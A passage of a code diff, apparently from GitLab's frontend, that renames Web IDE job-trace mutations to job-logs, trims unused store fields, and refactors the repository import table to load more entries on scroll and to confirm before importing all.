-export const REQUEST_JOB_TRACE = 'REQUEST_JOB_TRACE';
-export const RECEIVE_JOB_TRACE_ERROR = 'RECEIVE_JOB_TRACE_ERROR';
-export const RECEIVE_JOB_TRACE_SUCCESS = 'RECEIVE_JOB_TRACE_SUCCESS';
+export const REQUEST_JOB_LOGS = 'REQUEST_JOB_LOGS';
+export const RECEIVE_JOB_LOGS_ERROR = 'RECEIVE_JOB_LOGS_ERROR';
+export const RECEIVE_JOB_LOGS_SUCCESS = 'RECEIVE_JOB_LOGS_SUCCESS';
diff --git a/app/assets/javascripts/ide/stores/modules/pipelines/mutations.js b/app/assets/javascripts/ide/stores/modules/pipelines/mutations.js
index eaaa82cb339..3a3cb4a7cb2 100644
--- a/app/assets/javascripts/ide/stores/modules/pipelines/mutations.js
+++ b/app/assets/javascripts/ide/stores/modules/pipelines/mutations.js
@@ -66,13 +66,13 @@ export default {
[types.SET_DETAIL_JOB](state, job) {
state.detailJob = { ...job };
},
- [types.REQUEST_JOB_TRACE](state) {
+ [types.REQUEST_JOB_LOGS](state) {
state.detailJob.isLoading = true;
},
- [types.RECEIVE_JOB_TRACE_ERROR](state) {
+ [types.RECEIVE_JOB_LOGS_ERROR](state) {
state.detailJob.isLoading = false;
},
- [types.RECEIVE_JOB_TRACE_SUCCESS](state, data) {
+ [types.RECEIVE_JOB_LOGS_SUCCESS](state, data) {
state.detailJob.isLoading = false;
state.detailJob.output = data.html;
},
diff --git a/app/assets/javascripts/ide/stores/modules/pipelines/utils.js b/app/assets/javascripts/ide/stores/modules/pipelines/utils.js
index a6caca2d2dc..95716e0a0c6 100644
--- a/app/assets/javascripts/ide/stores/modules/pipelines/utils.js
+++ b/app/assets/javascripts/ide/stores/modules/pipelines/utils.js
@@ -1,4 +1,3 @@
-// eslint-disable-next-line import/prefer-default-export
export const normalizeJob = job => ({
id: job.id,
name: job.name,
diff --git a/app/assets/javascripts/ide/stores/modules/router/actions.js b/app/assets/javascripts/ide/stores/modules/router/actions.js
index 849067599f2..321ac57817f 100644
--- a/app/assets/javascripts/ide/stores/modules/router/actions.js
+++ b/app/assets/javascripts/ide/stores/modules/router/actions.js
@@ -1,6 +1,5 @@
import * as types from './mutation_types';
-// eslint-disable-next-line import/prefer-default-export
export const push = ({ commit }, fullPath) => {
commit(types.PUSH, fullPath);
};
diff --git a/app/assets/javascripts/ide/stores/modules/router/mutation_types.js b/app/assets/javascripts/ide/stores/modules/router/mutation_types.js
index ae99073cc4c..8f5f949bd5f 100644
--- a/app/assets/javascripts/ide/stores/modules/router/mutation_types.js
+++ b/app/assets/javascripts/ide/stores/modules/router/mutation_types.js
@@ -1,2 +1 @@
-// eslint-disable-next-line import/prefer-default-export
export const PUSH = 'PUSH';
diff --git a/app/assets/javascripts/ide/stores/modules/terminal/getters.js b/app/assets/javascripts/ide/stores/modules/terminal/getters.js
index ef98547ccc4..b29d391845d 100644
--- a/app/assets/javascripts/ide/stores/modules/terminal/getters.js
+++ b/app/assets/javascripts/ide/stores/modules/terminal/getters.js
@@ -1,4 +1,3 @@
-// eslint-disable-next-line import/prefer-default-export
export const allCheck = state => {
const checks = Object.values(state.checks);
diff --git a/app/assets/javascripts/ide/stores/mutations.js b/app/assets/javascripts/ide/stores/mutations.js
index c64839e5019..460d3ced381 100644
--- a/app/assets/javascripts/ide/stores/mutations.js
+++ b/app/assets/javascripts/ide/stores/mutations.js
@@ -7,7 +7,6 @@ import treeMutations from './mutations/tree';
import branchMutations from './mutations/branch';
import {
sortTree,
- replaceFileUrl,
swapInParentTreeWithSorting,
updateFileCollections,
removeFromParentTree,
@@ -49,7 +48,7 @@ export default {
entries,
});
},
- [types.CREATE_TMP_ENTRY](state, { data, projectId, branchId }) {
+ [types.CREATE_TMP_ENTRY](state, { data }) {
Object.keys(data.entries).reduce((acc, key) => {
const entry = data.entries[key];
const foundEntry = state.entries[key];
@@ -72,13 +71,12 @@ export default {
return acc.concat(key);
}, []);
- const foundEntry = state.trees[`${projectId}/${branchId}`].tree.find(
- e => e.path === data.treeList[0].path,
- );
+ const currentTree = state.trees[`${state.currentProjectId}/${state.currentBranchId}`];
+ const foundEntry = currentTree.tree.find(e => e.path === data.treeList[0].path);
if (!foundEntry) {
- Object.assign(state.trees[`${projectId}/${branchId}`], {
- tree: sortTree(state.trees[`${projectId}/${branchId}`].tree.concat(data.treeList)),
+ Object.assign(currentTree, {
+ tree: sortTree(currentTree.tree.concat(data.treeList)),
});
}
},
@@ -139,7 +137,6 @@ export default {
prevId: undefined,
prevPath: undefined,
prevName: undefined,
- prevUrl: undefined,
prevKey: undefined,
prevParentPath: undefined,
});
@@ -195,9 +192,6 @@ export default {
const oldEntry = state.entries[path];
const newPath = parentPath ? `${parentPath}/${name}` : name;
const isRevert = newPath === oldEntry.prevPath;
-
- const newUrl = replaceFileUrl(oldEntry.url, oldEntry.path, newPath);
-
const newKey = oldEntry.key.replace(new RegExp(oldEntry.path, 'g'), newPath);
const baseProps = {
@@ -205,7 +199,6 @@ export default {
name,
id: newPath,
path: newPath,
- url: newUrl,
key: newKey,
parentPath: parentPath || '',
};
@@ -216,7 +209,6 @@ export default {
prevId: undefined,
prevPath: undefined,
prevName: undefined,
- prevUrl: undefined,
prevKey: undefined,
prevParentPath: undefined,
}
@@ -224,7 +216,6 @@ export default {
prevId: oldEntry.prevId || oldEntry.id,
prevPath: oldEntry.prevPath || oldEntry.path,
prevName: oldEntry.prevName || oldEntry.name,
- prevUrl: oldEntry.prevUrl || oldEntry.url,
prevKey: oldEntry.prevKey || oldEntry.key,
prevParentPath: oldEntry.prevParentPath || oldEntry.parentPath,
};
diff --git a/app/assets/javascripts/ide/stores/utils.js b/app/assets/javascripts/ide/stores/utils.js
index f074e6880d0..d9cdc7727ad 100644
--- a/app/assets/javascripts/ide/stores/utils.js
+++ b/app/assets/javascripts/ide/stores/utils.js
@@ -12,10 +12,7 @@ export const dataStructure = () => ({
// it can also contain a prefix `pending-` for files opened in review mode
key: '',
type: '',
- projectId: '',
- branchId: '',
name: '',
- url: '',
path: '',
tempFile: false,
tree: [],
@@ -26,7 +23,6 @@ export const dataStructure = () => ({
staged: false,
lastCommitSha: '',
rawPath: '',
- binary: false,
raw: '',
content: '',
editorRow: 1,
@@ -44,10 +40,7 @@ export const dataStructure = () => ({
export const decorateData = entity => {
const {
id,
- projectId,
- branchId,
type,
- url,
name,
path,
content = '',
@@ -55,7 +48,6 @@ export const decorateData = entity => {
active = false,
opened = false,
changed = false,
- binary = false,
rawPath = '',
file_lock,
parentPath = '',
@@ -63,19 +55,15 @@ export const decorateData = entity => {
return Object.assign(dataStructure(), {
id,
- projectId,
- branchId,
key: `${name}-${type}-${id}`,
type,
name,
- url,
path,
tempFile,
opened,
active,
changed,
content,
- binary,
rawPath,
file_lock,
parentPath,
@@ -189,11 +177,6 @@ export const mergeTrees = (fromTree, toTree) => {
return toTree;
};
-export const replaceFileUrl = (url, oldPath, newPath) => {
- // Add `/-/` so that we don't accidentally replace project path
- return url.replace(`/-/${oldPath}`, `/-/${newPath}`);
-};
-
export const swapInStateArray = (state, arr, key, entryPath) =>
Object.assign(state, {
[arr]: state[arr].map(f => (f.key === key ? state.entries[entryPath] : f)),
diff --git a/app/assets/javascripts/ide/sync_router_and_store.js b/app/assets/javascripts/ide/sync_router_and_store.js
index 1782c32b3b2..b33bcbb94ea 100644
--- a/app/assets/javascripts/ide/sync_router_and_store.js
+++ b/app/assets/javascripts/ide/sync_router_and_store.js
@@ -1,4 +1,3 @@
-/* eslint-disable import/prefer-default-export */
/**
* This method adds listeners to the given router and store and syncs their state with eachother
*
diff --git a/app/assets/javascripts/ide/utils.js b/app/assets/javascripts/ide/utils.js
index 58a6712c232..cde53e1ef00 100644
--- a/app/assets/javascripts/ide/utils.js
+++ b/app/assets/javascripts/ide/utils.js
@@ -1,5 +1,5 @@
import { languages } from 'monaco-editor';
-import { flatten } from 'lodash';
+import { flatten, isString } from 'lodash';
import { SIDE_LEFT, SIDE_RIGHT } from './constants';
const toLowerCase = x => x.toLowerCase();
@@ -42,15 +42,16 @@ const KNOWN_TYPES = [
},
];
-export function isTextFile(content, mimeType, fileName) {
- const knownType = KNOWN_TYPES.find(type => type.isMatch(mimeType, fileName));
+export function isTextFile({ name, content, mimeType = '' }) {
+ const knownType = KNOWN_TYPES.find(type => type.isMatch(mimeType, name));
if (knownType) return knownType.isText;
// does the string contain ascii characters only (ranges from space to tilde, tabs and new lines)
const asciiRegex = /^[ -~\t\n\r]+$/;
+
// for unknown types, determine the type by evaluating the file contents
- return asciiRegex.test(content);
+ return isString(content) && (content === '' || asciiRegex.test(content));
}
export const createPathWithExt = p => {
@@ -75,17 +76,17 @@ export function registerLanguages(def, ...defs) {
languages.setLanguageConfiguration(languageId, def.conf);
}
-export function registerSchemas({ language, options }, ...schemas) {
- schemas.forEach(schema => registerSchemas(schema));
-
- const defaults = {
- json: languages.json.jsonDefaults,
- yaml: languages.yaml.yamlDefaults,
- };
-
- if (defaults[language]) {
- defaults[language].setDiagnosticsOptions(options);
- }
+export function registerSchema(schema) {
+ const defaults = [languages.json.jsonDefaults, languages.yaml.yamlDefaults];
+ defaults.forEach(d =>
+ d.setDiagnosticsOptions({
+ validate: true,
+ enableSchemaRequest: true,
+ hover: true,
+ completion: true,
+ schemas: [schema],
+ }),
+ );
}
export const otherSide = side => (side === SIDE_RIGHT ? SIDE_LEFT : SIDE_RIGHT);
diff --git a/app/assets/javascripts/import_projects/components/import_projects_table.vue b/app/assets/javascripts/import_projects/components/import_projects_table.vue
index 72fdaca7e24..96100e4ac0c 100644
--- a/app/assets/javascripts/import_projects/components/import_projects_table.vue
+++ b/app/assets/javascripts/import_projects/components/import_projects_table.vue
@@ -1,27 +1,17 @@
<script>
-import { throttle } from 'lodash';
import { mapActions, mapState, mapGetters } from 'vuex';
-import { GlButton, GlLoadingIcon } from '@gitlab/ui';
-import { __, sprintf } from '~/locale';
-import PaginationLinks from '~/vue_shared/components/pagination_links.vue';
-import ImportedProjectTableRow from './imported_project_table_row.vue';
+import { GlButton, GlLoadingIcon, GlIntersectionObserver, GlModal } from '@gitlab/ui';
+import { n__, __, sprintf } from '~/locale';
import ProviderRepoTableRow from './provider_repo_table_row.vue';
-import IncompatibleRepoTableRow from './incompatible_repo_table_row.vue';
-import PageQueryParamSync from './page_query_param_sync.vue';
-import { isProjectImportable } from '../utils';
-
-const reposFetchThrottleDelay = 1000;
export default {
name: 'ImportProjectsTable',
components: {
- ImportedProjectTableRow,
ProviderRepoTableRow,
- IncompatibleRepoTableRow,
- PageQueryParamSync,
GlLoadingIcon,
GlButton,
- PaginationLinks,
+ GlModal,
+ GlIntersectionObserver,
},
props: {
providerTitle: {
@@ -41,14 +31,19 @@ export default {
},
computed: {
- ...mapState(['filter', 'repositories', 'namespaces', 'defaultTargetNamespace', 'pageInfo']),
+ ...mapState(['filter', 'repositories', 'namespaces', 'defaultTargetNamespace']),
...mapGetters([
'isLoading',
'isImportingAnyRepo',
'hasImportableRepos',
'hasIncompatibleRepos',
+ 'importAllCount',
]),
+ pagePaginationStateKey() {
+ return `${this.filter}-${this.repositories.length}`;
+ },
+
availableNamespaces() {
const serializedNamespaces = this.namespaces.map(({ fullPath }) => ({
id: fullPath,
@@ -66,8 +61,12 @@ export default {
importAllButtonText() {
return this.hasIncompatibleRepos
- ? __('Import all compatible repositories')
- : __('Import all repositories');
+ ? n__(
+ 'Import %d compatible repository',
+ 'Import %d compatible repositories',
+ this.importAllCount,
+ )
+ : n__('Import %d repository', 'Import %d repositories', this.importAllCount);
},
emptyStateText() {
@@ -83,7 +82,11 @@ export default {
mounted() {
this.fetchNamespaces();
- this.fetchRepos();
+ this.fetchJobs();
+
+ if (!this.paginatable) {
+ this.fetchRepos();
+ }
},
beforeDestroy() {
@@ -94,105 +97,95 @@ export default {
methods: {
...mapActions([
'fetchRepos',
+ 'fetchJobs',
'fetchNamespaces',
'stopJobsPolling',
'clearJobsEtagPoll',
'setFilter',
'importAll',
- 'setPage',
]),
-
- handleFilterInput({ target }) {
- this.setFilter(target.value);
- },
-
- throttledFetchRepos: throttle(function fetch() {
- this.fetchRepos();
- }, reposFetchThrottleDelay),
-
- isProjectImportable,
},
};
</script>
<template>
<div>
- <page-query-param-sync :page="pageInfo.page" @popstate="setPage" />
-
<p class="light text-nowrap mt-2">
- {{ s__('ImportProjects|Select the projects you want to import') }}
+ {{ s__('ImportProjects|Select the repositories you want to import') }}
</p>
<template v-if="hasIncompatibleRepos">
<slot name="incompatible-repos-warning"></slot>
</template>
+ <div class="d-flex justify-content-between align-items-end flex-wrap mb-3">
+ <gl-button
+ variant="success"
+ :loading="isImportingAnyRepo"
+ :disabled="!hasImportableRepos"
+ type="button"
+ @click="$refs.importAllModal.show()"
+ >{{ importAllButtonText }}</gl-button
+ >
+ <gl-modal
+ ref="importAllModal"
+ modal-id="import-all-modal"
+ :title="s__('ImportProjects|Import repositories')"
+ :ok-title="__('Import')"
+ @ok="importAll"
+ >
+ {{
+ n__(
+ 'Are you sure you want to import %d repository?',
+ 'Are you sure you want to import %d repositories?',
+ importAllCount,
+ )
+ }}
+ </gl-modal>
+
+ <slot name="actions"></slot>
+ <form v-if="filterable" class="gl-ml-auto" novalidate @submit.prevent>
+ <input
+ data-qa-selector="githubish_import_filter_field"
+ class="form-control"
+ name="filter"
+ :placeholder="__('Filter your repositories by name')"
+ autofocus
+ size="40"
+ @keyup.enter="setFilter($event.target.value)"
+ />
+ </form>
+ </div>
+ <div v-if="repositories.length" class="table-responsive">
+ <table class="table import-table">
+ <thead>
+ <th class="import-jobs-from-col">{{ fromHeaderText }}</th>
+ <th class="import-jobs-to-col">{{ __('To GitLab') }}</th>
+ <th class="import-jobs-status-col">{{ __('Status') }}</th>
+ <th class="import-jobs-cta-col"></th>
+ </thead>
+ <tbody>
+ <template v-for="repo in repositories">
+ <provider-repo-table-row
+ :key="repo.importSource.providerLink"
+ :repo="repo"
+ :available-namespaces="availableNamespaces"
+ />
+ </template>
+ </tbody>
+ </table>
+ </div>
+ <gl-intersection-observer
+ v-if="paginatable"
+ :key="pagePaginationStateKey"
+ @appear="fetchRepos"
+ />
<gl-loading-icon
v-if="isLoading"
class="js-loading-button-icon import-projects-loading-icon"
size="md"
/>
- <template v-if="!isLoading">
- <div class="d-flex justify-content-between align-items-end flex-wrap mb-3">
- <gl-button
- variant="success"
- :loading="isImportingAnyRepo"
- :disabled="!hasImportableRepos"
- type="button"
- @click="importAll"
- >{{ importAllButtonText }}</gl-button
- >
- <slot name="actions"></slot>
- <form v-if="filterable" class="gl-ml-auto" novalidate @submit.prevent>
- <input
- :value="filter"
- data-qa-selector="githubish_import_filter_field"
- class="form-control"
- name="filter"
- :placeholder="__('Filter your projects by name')"
- autofocus
- size="40"
- @input="handleFilterInput($event)"
- @keyup.enter="throttledFetchRepos"
- />
- </form>
- </div>
- <div v-if="repositories.length" class="table-responsive">
- <table class="table import-table">
- <thead>
- <th class="import-jobs-from-col">{{ fromHeaderText }}</th>
- <th class="import-jobs-to-col">{{ __('To GitLab') }}</th>
- <th class="import-jobs-status-col">{{ __('Status') }}</th>
- <th class="import-jobs-cta-col"></th>
- </thead>
- <tbody>
- <template v-for="repo in repositories">
- <incompatible-repo-table-row
- v-if="repo.importSource.incompatible"
- :key="repo.importSource.id"
- :repo="repo"
- />
- <provider-repo-table-row
- v-else-if="isProjectImportable(repo)"
- :key="repo.importSource.id"
- :repo="repo"
- :available-namespaces="availableNamespaces"
- />
- <imported-project-table-row v-else :key="repo.importSource.id" :project="repo" />
- </template>
- </tbody>
- </table>
- </div>
- <div v-else class="text-center">
- <strong>{{ emptyStateText }}</strong>
- </div>
- <pagination-links
- v-if="paginatable"
- align="center"
- class="gl-mt-3"
- :page-info="pageInfo"
- :prev-page="pageInfo.page - 1"
- :next-page="repositories.length && pageInfo.page + 1"
- :change="setPage"
- />
- </template>
+
+ <div v-if="!isLoading && repositories.length === 0" class="text-center">
+ <strong>{{ emptyStateText }}</strong>
+ </div>
</div>
</template>
diff --git a/app/assets/javascripts/import_projects/components/imported_project_table_row.vue b/app/assets/javascripts/import_projects/components/imported_project_table_row.vue
deleted file mode 100644
index 50e735b4478..00000000000
--- a/app/assets/javascripts/import_projects/components/imported_project_table_row.vue
+++ /dev/null
@@ -1,59 +0,0 @@
-<script>
-import { GlIcon } from '@gitlab/ui';
-import ImportStatus from './import_status.vue';
-import { STATUSES } from '../constants';
-
-export default {
- name: 'ImportedProjectTableRow',
- components: {
- ImportStatus,
- GlIcon,
- },
- props: {
- project: {
- type: Object,
- required: true,
- },
- },
-
- computed: {
- displayFullPath() {
- return this.project.importedProject.fullPath.replace(/^\//, '');
- },
-
- isFinished() {
- return this.project.importStatus === STATUSES.FINISHED;
- },
- },
-};
-</script>
-
-<template>
- <tr class="import-row">
- <td>
- <a
- :href="project.importSource.providerLink"
- rel="noreferrer noopener"
- target="_blank"
- data-testid="providerLink"
- >{{ project.importSource.fullName }}
- <gl-icon v-if="project.importSource.providerLink" name="external-link" />
- </a>
- </td>
- <td data-testid="fullPath">{{ displayFullPath }}</td>
- <td>
- <import-status :status="project.importStatus" />
- </td>
- <td>
- <a
- v-if="isFinished"
- class="btn btn-default"
- data-testid="goToProject"
- :href="project.importedProject.fullPath"
- rel="noreferrer noopener"
- target="_blank"
- >{{ __('Go to project') }}
- </a>
- </td>
- </tr>
-</template>
diff --git a/app/assets/javascripts/import_projects/components/incompatible_repo_table_row.vue b/app/assets/javascripts/import_projects/components/incompatible_repo_table_row.vue
deleted file mode 100644
index 3140585ccd7..00000000000
--- a/app/assets/javascripts/import_projects/components/incompatible_repo_table_row.vue
+++ /dev/null
@@ -1,32 +0,0 @@
-<script>
-import { GlIcon, GlBadge } from '@gitlab/ui';
-
-export default {
- components: {
- GlBadge,
- GlIcon,
- },
- props: {
- repo: {
- type: Object,
- required: true,
- },
- },
-};
-</script>
-
-<template>
- <tr class="import-row">
- <td>
- <a :href="repo.importSource.providerLink" rel="noreferrer noopener" target="_blank"
- >{{ repo.importSource.fullName }}
- <gl-icon v-if="repo.importSource.providerLink" name="external-link" />
- </a>
- </td>
- <td></td>
- <td></td>
- <td>
- <gl-badge variant="danger">{{ __('Incompatible project') }}</gl-badge>
- </td>
- </tr>
-</template>
diff --git a/app/assets/javascripts/import_projects/components/page_query_param_sync.vue b/app/assets/javascripts/import_projects/components/page_query_param_sync.vue
deleted file mode 100644
index 5ba3d70f5d0..00000000000
--- a/app/assets/javascripts/import_projects/components/page_query_param_sync.vue
+++ /dev/null
@@ -1,39 +0,0 @@
-<script>
-import { queryToObject, setUrlParams, updateHistory } from '~/lib/utils/url_utility';
-
-export default {
- props: {
- page: {
- type: Number,
- required: true,
- },
- },
-
- watch: {
- page(newPage) {
- updateHistory({
- url: setUrlParams({
- page: newPage === 1 ? null : newPage,
- }),
- });
- },
- },
-
- created() {
- window.addEventListener('popstate', this.updatePage);
- },
-
- beforeDestroy() {
- window.removeEventListener('popstate', this.updatePage);
- },
-
- methods: {
- updatePage() {
- const page = parseInt(queryToObject(window.location.search).page, 10) || 1;
- this.$emit('popstate', page);
- },
- },
-
- render: () => null,
-};
-</script>
diff --git a/app/assets/javascripts/import_projects/components/provider_repo_table_row.vue b/app/assets/javascripts/import_projects/components/provider_repo_table_row.vue
index d8cffc6a7d5..18971313dfe 100644
--- a/app/assets/javascripts/import_projects/components/provider_repo_table_row.vue
+++ b/app/assets/javascripts/import_projects/components/provider_repo_table_row.vue
@@ -1,9 +1,11 @@
<script>
import { mapState, mapGetters, mapActions } from 'vuex';
-import { GlIcon } from '@gitlab/ui';
+import { GlIcon, GlBadge } from '@gitlab/ui';
import Select2Select from '~/vue_shared/components/select2_select.vue';
import { __ } from '~/locale';
import ImportStatus from './import_status.vue';
+import { STATUSES } from '../constants';
+import { isProjectImportable, isIncompatible, getImportStatus } from '../utils';
export default {
name: 'ProviderRepoTableRow',
@@ -11,6 +13,7 @@ export default {
Select2Select,
ImportStatus,
GlIcon,
+ GlBadge,
},
props: {
repo: {
@@ -27,6 +30,26 @@ export default {
...mapState(['ciCdOnly']),
...mapGetters(['getImportTarget']),
+ displayFullPath() {
+ return this.repo.importedProject.fullPath.replace(/^\//, '');
+ },
+
+ isFinished() {
+ return this.repo.importedProject?.importStatus === STATUSES.FINISHED;
+ },
+
+ isImportNotStarted() {
+ return isProjectImportable(this.repo);
+ },
+
+ isIncompatible() {
+ return isIncompatible(this.repo);
+ },
+
+ importStatus() {
+ return getImportStatus(this.repo);
+ },
+
importTarget() {
return this.getImportTarget(this.repo.importSource.id);
},
@@ -85,9 +108,9 @@ export default {
<gl-icon v-if="repo.importSource.providerLink" name="external-link" />
</a>
</td>
- <td class="d-flex flex-wrap flex-lg-nowrap">
- <template v-if="repo.target">{{ repo.target }}</template>
- <template v-else>
+ <td class="d-flex flex-wrap flex-lg-nowrap" data-testid="fullPath">
+ <template v-if="repo.importSource.target">{{ repo.importSource.target }}</template>
+ <template v-else-if="isImportNotStarted">
<select2-select v-model="targetNamespaceSelect" :options="select2Options" />
<span class="px-2 import-slash-divider d-flex justify-content-center align-items-center"
>/</span
@@ -98,18 +121,31 @@ export default {
class="form-control import-project-name-input qa-project-path-field"
/>
</template>
+ <template v-else-if="repo.importedProject">{{ displayFullPath }}</template>
</td>
<td>
- <import-status :status="repo.importStatus" />
+ <import-status :status="importStatus" />
</td>
- <td>
+ <td data-testid="actions">
+ <a
+ v-if="isFinished"
+ class="btn btn-default"
+ :href="repo.importedProject.fullPath"
+ rel="noreferrer noopener"
+ target="_blank"
+ >{{ __('Go to project') }}
+ </a>
<button
+ v-if="isImportNotStarted"
type="button"
class="qa-import-button btn btn-default"
@click="fetchImport(repo.importSource.id)"
>
{{ importButtonText }}
</button>
+ <gl-badge v-else-if="isIncompatible" variant="danger">{{
+ __('Incompatible project')
+ }}</gl-badge>
</td>
</tr>
</template>
diff --git a/app/assets/javascripts/import_projects/store/actions.js b/app/assets/javascripts/import_projects/store/actions.js
index af410f411d8..7b70d290278 100644
--- a/app/assets/javascripts/import_projects/store/actions.js
+++ b/app/assets/javascripts/import_projects/store/actions.js
@@ -1,11 +1,7 @@
import Visibility from 'visibilityjs';
import * as types from './mutation_types';
import { isProjectImportable } from '../utils';
-import {
- convertObjectPropsToCamelCase,
- normalizeHeaders,
- parseIntPagination,
-} from '~/lib/utils/common_utils';
+import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
import Poll from '~/lib/utils/poll';
import { visitUrl, objectToQuery } from '~/lib/utils/url_utility';
import { deprecatedCreateFlash as createFlash } from '~/flash';
@@ -54,12 +50,9 @@ const importAll = ({ state, dispatch }) => {
);
};
-const fetchReposFactory = ({ reposPath = isRequired(), hasPagination }) => ({
- state,
- dispatch,
- commit,
-}) => {
- dispatch('stopJobsPolling');
+const fetchReposFactory = ({ reposPath = isRequired() }) => ({ state, commit }) => {
+ const nextPage = state.pageInfo.page + 1;
+ commit(types.SET_PAGE, nextPage);
commit(types.REQUEST_REPOS);
const { provider, filter } = state;
@@ -68,21 +61,16 @@ const fetchReposFactory = ({ reposPath = isRequired(), hasPagination }) => ({
.get(
pathWithParams({
path: reposPath,
- filter,
- page: hasPagination ? state.pageInfo.page.toString() : '',
+ filter: filter ?? '',
+ page: nextPage === 1 ? '' : nextPage.toString(),
}),
)
- .then(({ data, headers }) => {
- const normalizedHeaders = normalizeHeaders(headers);
-
- if ('X-PAGE' in normalizedHeaders) {
- commit(types.SET_PAGE_INFO, parseIntPagination(normalizedHeaders));
- }
-
+ .then(({ data }) => {
commit(types.RECEIVE_REPOS_SUCCESS, convertObjectPropsToCamelCase(data, { deep: true }));
})
- .then(() => dispatch('fetchJobs'))
.catch(e => {
+ commit(types.SET_PAGE, nextPage - 1);
+
if (hasRedirectInError(e)) {
redirectToUrlInError(e);
} else {
@@ -136,8 +124,6 @@ const fetchImportFactory = (importPath = isRequired()) => ({ state, commit, gett
};
export const fetchJobsFactory = (jobsPath = isRequired()) => ({ state, commit, dispatch }) => {
- const { filter } = state;
-
if (eTagPoll) {
stopJobsPolling();
clearJobsEtagPoll();
@@ -145,7 +131,7 @@ export const fetchJobsFactory = (jobsPath = isRequired()) => ({ state, commit, d
eTagPoll = new Poll({
resource: {
- fetchJobs: () => axios.get(pathWithParams({ path: jobsPath, filter })),
+ fetchJobs: () => axios.get(pathWithParams({ path: jobsPath, filter: state.filter })),
},
method: 'fetchJobs',
successCallback: ({ data }) =>
@@ -157,7 +143,6 @@ export const fetchJobsFactory = (jobsPath = isRequired()) => ({ state, commit, d
createFlash(s__('ImportProjects|Update of imported projects with realtime changes failed'));
}
},
- data: { filter },
});
if (!Visibility.hidden()) {
@@ -196,7 +181,7 @@ const setPage = ({ state, commit, dispatch }, page) => {
return dispatch('fetchRepos');
};
-export default ({ endpoints = isRequired(), hasPagination }) => ({
+export default ({ endpoints = isRequired() }) => ({
clearJobsEtagPoll,
stopJobsPolling,
restartJobsPolling,
@@ -204,7 +189,7 @@ export default ({ endpoints = isRequired(), hasPagination }) => ({
setImportTarget,
importAll,
setPage,
- fetchRepos: fetchReposFactory({ reposPath: endpoints.reposPath, hasPagination }),
+ fetchRepos: fetchReposFactory({ reposPath: endpoints.reposPath }),
fetchImport: fetchImportFactory(endpoints.importPath),
fetchJobs: fetchJobsFactory(endpoints.jobsPath),
fetchNamespaces: fetchNamespacesFactory(endpoints.namespacesPath),
diff --git a/app/assets/javascripts/import_projects/store/getters.js b/app/assets/javascripts/import_projects/store/getters.js
index 7d529c94d7d..b76c52beea2 100644
--- a/app/assets/javascripts/import_projects/store/getters.js
+++ b/app/assets/javascripts/import_projects/store/getters.js
@@ -1,17 +1,20 @@
import { STATUSES } from '../constants';
+import { isProjectImportable, isIncompatible } from '../utils';
export const isLoading = state => state.isLoadingRepos || state.isLoadingNamespaces;
export const isImportingAnyRepo = state =>
state.repositories.some(repo =>
- [STATUSES.SCHEDULING, STATUSES.SCHEDULED, STATUSES.STARTED].includes(repo.importStatus),
+ [STATUSES.SCHEDULING, STATUSES.SCHEDULED, STATUSES.STARTED].includes(
+ repo.importedProject?.importStatus,
+ ),
);
-export const hasIncompatibleRepos = state =>
- state.repositories.some(repo => repo.importSource.incompatible);
+export const hasIncompatibleRepos = state => state.repositories.some(isIncompatible);
-export const hasImportableRepos = state =>
- state.repositories.some(repo => repo.importStatus === STATUSES.NONE);
+export const hasImportableRepos = state => state.repositories.some(isProjectImportable);
+
+export const importAllCount = state => state.repositories.filter(isProjectImportable).length;
export const getImportTarget = state => repoId => {
if (state.customImportTargets[repoId]) {
diff --git a/app/assets/javascripts/import_projects/store/mutations.js b/app/assets/javascripts/import_projects/store/mutations.js
index b3dbef896a6..6999253d4b2 100644
--- a/app/assets/javascripts/import_projects/store/mutations.js
+++ b/app/assets/javascripts/import_projects/store/mutations.js
@@ -2,46 +2,88 @@ import Vue from 'vue';
import * as types from './mutation_types';
import { STATUSES } from '../constants';
+const makeNewImportedProject = importedProject => ({
+ importSource: {
+ id: importedProject.id,
+ fullName: importedProject.importSource,
+ sanitizedName: importedProject.name,
+ providerLink: importedProject.providerLink,
+ },
+ importedProject,
+});
+
+const makeNewIncompatibleProject = project => ({
+ importSource: { ...project, incompatible: true },
+ importedProject: null,
+});
+
+const processLegacyEntries = ({ newRepositories, existingRepositories, factory }) => {
+ const newEntries = [];
+ newRepositories.forEach(project => {
+ const existingProject = existingRepositories.find(p => p.importSource.id === project.id);
+ const importedProjectShape = factory(project);
+
+ if (existingProject) {
+ Object.assign(existingProject, importedProjectShape);
+ } else {
+ newEntries.push(importedProjectShape);
+ }
+ });
+ return newEntries;
+};
+
export default {
[types.SET_FILTER](state, filter) {
state.filter = filter;
+ state.repositories = [];
+ state.pageInfo.page = 0;
},
[types.REQUEST_REPOS](state) {
state.isLoadingRepos = true;
},
- [types.RECEIVE_REPOS_SUCCESS](
- state,
- { importedProjects, providerRepos, incompatibleRepos = [] },
- ) {
- // Normalizing structure to support legacy backend format
- // See https://gitlab.com/gitlab-org/gitlab/-/issues/27370#note_379034091 for details
-
+ [types.RECEIVE_REPOS_SUCCESS](state, repositories) {
state.isLoadingRepos = false;
- state.repositories = [
- ...importedProjects.map(({ importSource, providerLink, importStatus, ...project }) => ({
- importSource: {
- id: `finished-${project.id}`,
- fullName: importSource,
- sanitizedName: project.name,
- providerLink,
- },
- importStatus,
- importedProject: project,
- })),
- ...providerRepos.map(project => ({
- importSource: project,
- importStatus: STATUSES.NONE,
- importedProject: null,
- })),
- ...incompatibleRepos.map(project => ({
- importSource: { ...project, incompatible: true },
- importStatus: STATUSES.NONE,
- importedProject: null,
- })),
- ];
+ if (!Array.isArray(repositories)) {
+ // Legacy code path, will be removed when all importers will be switched to new pagination format
+ // https://gitlab.com/gitlab-org/gitlab/-/issues/27370#note_379034091
+
+ const newImportedProjects = processLegacyEntries({
+ newRepositories: repositories.importedProjects,
+ existingRepositories: state.repositories,
+ factory: makeNewImportedProject,
+ });
+
+ const incompatibleRepos = repositories.incompatibleRepos ?? [];
+ const newIncompatibleProjects = processLegacyEntries({
+ newRepositories: incompatibleRepos,
+ existingRepositories: state.repositories,
+ factory: makeNewIncompatibleProject,
+ });
+
+ state.repositories = [
+ ...newImportedProjects,
+ ...state.repositories,
+ ...repositories.providerRepos.map(project => ({
+ importSource: project,
+ importedProject: null,
+ })),
+ ...newIncompatibleProjects,
+ ];
+
+ if (incompatibleRepos.length === 0 && repositories.providerRepos.length === 0) {
+ state.pageInfo.page -= 1;
+ }
+
+ return;
+ }
+
+ state.repositories = [...state.repositories, ...repositories];
+ if (repositories.length === 0) {
+ state.pageInfo.page -= 1;
+ }
},
